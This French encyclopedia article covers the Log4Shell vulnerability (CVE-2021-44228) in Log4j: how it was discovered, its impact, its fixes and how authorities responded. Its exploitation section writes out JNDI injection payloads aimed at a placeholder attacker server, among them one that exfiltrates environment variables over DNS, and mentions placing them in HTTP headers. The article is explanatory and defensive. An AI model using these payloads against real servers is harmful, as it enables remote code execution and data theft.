Log4Shell

Log4Shell, également connue par son numéro CVE-2021-44228, est une vulnérabilité zero-day exploitée par exécution de code arbitraire et touchant l'utilitaire Java Log4j^[1],[2]. Cette vulnérabilité est divulguée à Apache par l'équipe de sécurité cloud d'Alibaba le 24 novembre 2021 et publiée le 9 décembre 2021^[3],[4],[5].

La vulnérabilité tire parti du fait que Log4j ne vérifie pas les requêtes LDAP et JNDI^[6],[1],[7]. Cela permet aux attaquants d'exécuter du code Java arbitraire sur un serveur ou un autre ordinateur^[5]. Les services concernés incluent iCloud, l'édition Java de Minecraft^[8] et Steam^[6]. LunaSec a caractérisé la vulnérabilité comme « un échec de conception aux proportions catastrophiques^{[trad 1],[5]} » et Tenable, comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie »^{[trad 2],[9]}. L'Apache Software Foundation, dont Log4j est un projet, a attribué à Log4Shell une note CVSS de 10, la note la plus élevée possible^[10].

Log4j est un framework de journalisation open source qui permet aux développeurs de logiciels d'enregistrer diverses données au sein de leur application. Ces données peuvent également inclure une entrée utilisateur^[11]. Il est utilisé de manière omniprésente dans les applications Java, en particulier les logiciels d'entreprise^[5]. La bibliothèque est ainsi utilisée dans des logiciels de bureautique, dans des serveurs ou des systèmes embarqués comme dans certaines voitures^[12].

Initialement écrit en 2001 par Ceki Gülcü (d), log4j fait maintenant partie des Apache Logging Services (en), un projet de l'Apache Software Foundation^[13].

L'exploitation de la vulnérabilité CVE-2021-44228 passe par l'insertion d'un appel JNDI dans une requête. Si la requête est enregistrée dans les journaux gérés par une version vulnérable de Log4J, alors la vulnérabilité se déclenche.

Les appels JNDI sont utilisés pour rédiger des journaux de manière dynamique, par exemple pour insérer dans les entrées du journal les résultats d'un calcul complexe géré par un système tiers.

La CVE-2021-44228 peut être utilisée avec des charges utiles de la forme^[14] :

${jndi:ldap://serveur_pirate/message_malveillant}

ou encore

${jndi:dns://serveur_dns/entrée_dns}

Ces charges utiles génèreront respectivement des appels via le protocole LDAP ou DNS, vers un serveur contrôlé par un tiers.

Un pirate peut aussi utiliser ce mécanisme pour provoquer une exfiltration de données, via un appel à des variables Java comme les variables de l'environnement utilisateur, avec une charge de la forme :

${jndi:dns://serveur_dns/${env:user}}

Dans ce cas, le serveur qui exécute la version vulnérable de Log4J enverra le résultat de la commande ${env:user} sur le serveur DNS externe.

Une attaque peut ainsi facilement être réalisée à partir d'un service d'écoute DNS, comme DNSLog, puis une charge utile est créée qui génèrera un appel vers ce service d'écoute^[14]. Afin de maximiser les chances de réussite de l'attaque, les pirates insèreront la charge utile dans des éléments classiquement enregistrés comme les entêtes HTTP.

Les correctifs de cette vulnérabilité ont été rendus disponibles le 6 décembre 2021, trois jours avant la publication de la vulnérabilité, dans la version 2.15.0-rc1 de Log4j^[15]. Le correctif inclut la restriction des serveurs et des protocoles pouvant être utilisés pour les recherches, qui peuvent être configurés à l'aide de plusieurs propriétés système. Cela remplace la propriété système log4j2.formatMsgNoLookups, qu'il est recommandé d'utiliser pour atténuer la vulnérabilité dans les versions précédentes (jusqu'à 2.10.0) en la définissant sur true^{[16],[7],[10]}. Pour les versions antérieures à 2.10.0, la classe org.apache.logging.log4j.core.lookup.^,JndiLookup doit être supprimée du classpath^[10].

Toutes les fonctionnalités utilisant JNDI, sur lesquelles cette vulnérabilité est basée, seront désactivées par défaut à partir de la version 2.15.1^[17].

Les versions plus récentes du JRE atténuent également cette vulnérabilité en bloquant le chargement du code distant par défaut, bien que des vecteurs d'attaque existent toujours dans certaines applications^[1],[18]. Plusieurs méthodes et outils ont été publiés dans les paquets Java pour aider à détecter l'utilisation de versions log4j vulnérables^[19].

Les autorités recommandent de déployer les correctifs de sécurité dans les plus brefs délais^[20],[14].

Aux États-Unis, la directrice de la Cybersecurity and Infrastructure Security Agency (CISA) Jen Easterly a qualifié la vulnérabilité de « critique » et a conseillé aux fournisseurs de prioriser les mises à jour logicielles^[21]. Le Centre canadien pour la cybersécurité (CCCS) a appelé les organisations à prendre des mesures immédiates^[22]. L'agence allemande analogue, l'Office fédéral de la sécurité des technologies de l'information (BSI), a accordé son niveau de menace le plus élevé à la vulnérabilité, qualifiant la menace d'extrêmement critique^[23],[24].

Selon la société de cybersécurité GreyNoise, plusieurs adresses IP parcouraient des sites Web pour rechercher les serveurs présentant la vulnérabilité^[25]. L'Agence du revenu du Canada a temporairement fermé ses services en ligne après avoir été mise au courant de la vulnérabilité, tandis que le gouvernement du Québec a fermé près de 4 000 de ses sites Web à titre de « mesure préventive »^[26],[27].

Les administrateurs système ont été invités à évaluer la situation et à mettre en place des mesures d'atténuation le plus rapidement possible, soit en mettant à jour la bibliothèque logicielle, soit en désactivant les recherches à l'aide de la propriété système^[28].

• (en) Cet article est partiellement ou en totalité issu de l’article de Wikipédia en anglais intitulé « Log4Shell » (voir la liste des auteurs).

• (en-US) « Identify and minimize production risk of Log4Shell », sur Dynatrace news, 12 décembre 2021 (consulté le 12 janvier 2022)

• Portail de la sécurité des systèmes d'information